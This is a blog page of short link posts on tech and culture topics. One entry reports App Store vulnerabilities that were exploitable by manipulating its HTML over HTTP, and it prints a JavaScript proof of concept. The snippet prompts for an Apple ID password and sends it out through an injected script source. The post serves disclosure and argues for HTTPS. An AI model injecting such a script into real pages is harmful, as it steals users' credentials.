FlipperBot

FlipperBot, a robot designed to emulate the strategies employed by young sea turtles in order to traverse both firm terrain and sand with equal ease.

Elsewhere , , Leave a comment

Sigur Rós – Ísjaki

Elsewhere , , Leave a comment

The Internship

Two salesmen whose careers have been torpedoed by the digital age find their way into a coveted internship at Google, where they must compete with a group of young, tech-savvy geniuses for a shot at employment.

Elsewhere , , Leave a comment

Browser Repaint Performance

cssmoon-continuouspaint

To hit 60fps, we sometimes need to go beyond JavaScript as the sole performance bottleneck for our pages and spend more time investigating paint and layout issues – styles might actually be the core cause of our sluggish performance.

The H shortcut within the Developer Tools sure comes in handy!

DevTools: Visually Re-engineering CSS For Faster Paint Times →
Profiling Long Paint Times with DevTools’ Continuous Painting Mode →

Elsewhere , , , Leave a comment

Long overdue: HTTPS for the App Store

Early July 2012, I reported to Apple numerous vulnerabilities related to their App Store iOS app. Early March Apple finally issued a fix for it and turned on HTTPS for the App Store. I am really happy that my spare-time work pushed Apple to finally enabled HTTPS to protect users. This post discuss the vulnerabilities I found.

Attacks included Password stealing, App swapping, App fake upgrade, Preventing application installation, and Privacy leak mdash; All made possible by simply intercepting and manipulating the HTML that’s being used by the App Store app.

<script>
 password = prompt("Apple ID Password","");
 var s = document.createElement('script');
 s.type = "text/javascript";  
 s.src = "fakepassword=" + password;
 var script = document.createTextNode(s);
 document.getElementsByTagName('head')[0].appendChild(s);
</script>

May this be a lesson for all those offering services out there to enable SSL and route all traffic over HTTPS.

Apple finally turns HTTPS on for the App Store, fixing a lot of vulnerabilities →

Elsewhere , , , , Leave a comment

In Defence of the Floppy Disk Save Symbol

Kids-Today-1

Those who believe that the floppy cannot represent saving a document because nobody uses real floppy disks anymore miss an important point: while symbols initially piggyback on the meaning we assigned to a material object in order to stand in for something more abstract, once a symbol is used often enough, the symbol itself is enough to carry meaning, and the material object is no longer important.

In Defence of the Floppy Disk Save Symbol →

(via Cameron Moll)

Elsewhere , , , Leave a comment

Jetstrap

Jetstrap is a 100% web-based interface building tool for Twitter Bootstrap. No software to download, just log in and build. Your work is accessible from anywhere.

Jetstrap →

Elsewhere , , Leave a comment

Oblivion GFX Montage

Montage of the user interfaces appearing in Oblivion

Elsewhere , , Leave a comment

Building Facebook Home with Quartz Composer

Collection of videos introducing one to “programming” with Quartz Composer.

Next up: part 2, part 3, part 4, and part 5

Via

Elsewhere , , , Leave a comment

TowTruck

A service for your website that makes it surprisingly easy to collaborate in real-time.

By MozillaLabs. Just include a tad of JavaScript and boom, instant collaboration!

TowTruck →

(via teusje)

Elsewhere , , Leave a comment